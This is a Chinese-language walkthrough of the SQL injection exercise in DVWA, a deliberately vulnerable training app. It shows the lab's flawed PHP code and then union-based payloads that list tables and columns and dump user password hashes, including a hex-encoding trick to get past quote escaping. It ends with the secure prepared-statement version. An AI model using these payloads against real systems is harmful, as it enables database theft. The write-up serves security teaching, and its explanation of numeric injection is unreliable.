SQL Injection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。

LOW:

代码审计:


SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
//isset() 用于检查变量是否已设置并且非 NULL。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
//在这里没有对我们传进来的参数做任何检查
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}
?>

由以上分析我们可以得知我们在注入式应采用字符注入的方式。

注意:

SQL 字符注入是指攻击者通过输入恶意字符来破坏应用程序的 SQL 语句。例如,攻击者可以通过在输入字段中插入单引号或其他特殊字符来欺骗应用程序生成不安全的 SQL 查询。攻击者可以利用这种漏洞来执行恶意的 SQL 代码,例如删除、修改或暴露数据库中的数据。

数字型注入类似于 SQL 字符注入,但攻击者试图输入恶意数字,而不是字符。例如,攻击者可以通过输入负数来欺骗应用程序生成不安全的算术计算。攻击者可以利用这种漏洞来执行恶意代码,例如在应用程序中进行溢出攻击,从而窃取数据。

漏洞利用:

(1)判断字段数。

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数。

1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

1' or 1=1 order by 1 #

由上得知,字段数为2.

(2)确定显示的字段顺序

1' union select 1,2 #

(3)获取当前数据库

1' union select 1,database() #

(4)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到两张表guestbook,users

(5)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(6)获取数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

Medium:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//使用 mysqli_real_escape_string() 函数来转义单引号和双引号等特殊字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

同时我们发现在前端页面设置了下拉选择表单,控制用户输入。

漏洞利用:

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

(1)判断注入类型

这里我们其实可以直接做出判断,我们在上面已经进行了代码审计,发现mysqli_real_escape_string()函数的存在,那么字符型注入肯定会遇到问题,我们直接进行数字型注入。

因为前端使用下拉菜单,所以我们得通过抓包修改参数。

(2)猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表

这四部分操作与Low级别差别不大,这里只附上相关语句

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

(3)获取表中字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#

我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过。

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

这里附上脚本

import binascii

input_string = "users"  # 待转换的字符串

# 使用 binascii 模块的 b2a_hex() 函数将字符串转换为十六进制格式
hex_string = binascii.b2a_hex(input_string.encode('utf-8')) print(hex_string) # 输出转换后的十六进制字符串

(4)获取数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

信息获取结束,漏洞利用结束。

High:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/high.php
<?php if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} ?>

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible:

代码审计:

SQL Injection Source
vulnerabilities/sqli/source/impossible.php
<?php if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
//isset()用于检查变量是否已设置并且非 NULL。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。
该函数接受三个参数:
user_token:从用户请求中接收的安全令牌。
session_token:存储在用户会话中的安全令牌。
redirect:重定向的页面 URL。
该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。
该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*?
*/
// Get input
$id = $_GET[ 'id' ]; // Was a number entered?
//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returneda
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time. $num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray(); // Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} break;
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

同时这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

注:

PDO(PHP数据对象)是一种PHP扩展,它提供了一种抽象方式来访问数据库,而不必依赖于特定的数据库类型。PDO支持多种数据库类型,包括MySQL、SQLite、Oracle、PostgreSQL和SQL Server等。使用PDO可以实现更安全、更可移植和更灵活的数据访问,同时减少了对数据库的具体实现细节的依赖性。

使用PDO时,首先需要定义一个PDO连接对象,它包含有关数据库连接的信息,例如主机名、端口号、数据库名称、用户名和密码等。一旦建立连接,就可以通过执行SQL查询来访问数据库。PDO提供了一组方法来准备和执行查询,并返回结果集对象。可以使用绑定变量来防止SQL注入攻击,并使用PDO事务来确保数据操作的原子性和一致性。

总之,PDO技术提供了一个更安全、更灵活和更可移植的数据库访问解决方案,可以帮助开发人员编写更健壮和可维护的PHP应用程序。

DVWA-SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  4. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  5. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  6. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  7. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

随机推荐

  1. SourceInsight4破解

    2017/10/18 更新 1. 安装原版软件:Source Insight Version 4.0.0092 -  March 20, 2018 2. 下载激活程序:sourceinsight_40 ...

  2. js本地时钟

    js本地时钟,如上图所示,秒是跳动的 1 // 本地时钟 2 function clockon() { 3 var now = new Date(); 4 var year = now.getFull ...

  3. noi 1.5 36 计算多项式的值

    描述 假定多项式的形式为xn+xn-1+-+x2+x+1,请计算给定单精度浮点数x和正整数n值的情况下这个多项式的值. 输入 输入仅一行,包括x和n,用单个空格隔开.x在float范围内,n < ...

  4. 关于CSS3中的min-height等的使用

    一.min-height 当我们需要让某个容器不能低于某个高度,但是不能将高度固定在这个高度,希望其能够随着容器内内容的增多而变高时,我们可以对容器设置一个min-height来让该容器获得该特性.( ...

  5. vue表格拖拽使用Sortable插件库

    1 <template > 2 <el-table 3 row-key="name" 4 :data="tableData" 5 stripe ...

  6. 在 Rime 上对输入法进行定制

    Rime Rime是什么?忘了!但是在用.而且很好用. 了解Rime历史,还是去官网吧! 定制 Rime有两个目录: 1. 程序目录 2. 用户目录 Rime 的程序目录 Windows 上 要看你安 ...

  7. NOI 顺序查找——查找特定的值

    描述 在一个序列(下标从1开始)中查找一个给定的值,输出第一次出现的位置. 输入 第一行包含一个正整数n,表示序列中元素个数.1 <= n <= 10000.第二行包含n个整数,依次给出序 ...

  8. FCC 中级算法题 Arguments Optional

    Arguments Optional 创建一个计算两个参数之和的 function.如果只有一个参数,则返回一个 function,该 function 请求一个参数然后返回求和的结果. 例如,add ...

  9. DNS解析原理(www.baidu.com)

    QueryDns,py程序运行问题解决 关于远程访问数据库问题 这个我用NAVICAT或者是python程序连接都连不上他那个数据库(可能是数据库设定的权限没有开启?) 这个程序真的跑不起来,考虑自己 ...

  10. 【jupyter notebook】配置基于ecs云平台的jupyter notebook远程使用

    学校提供了ecs云服务器进行高性能运算 分配到了云主机后想在上面搭好jupyter notebook服务器方便远程使用,在此记录整个流程和遇到的问题 本文档适用于常规的jupyter notebook ...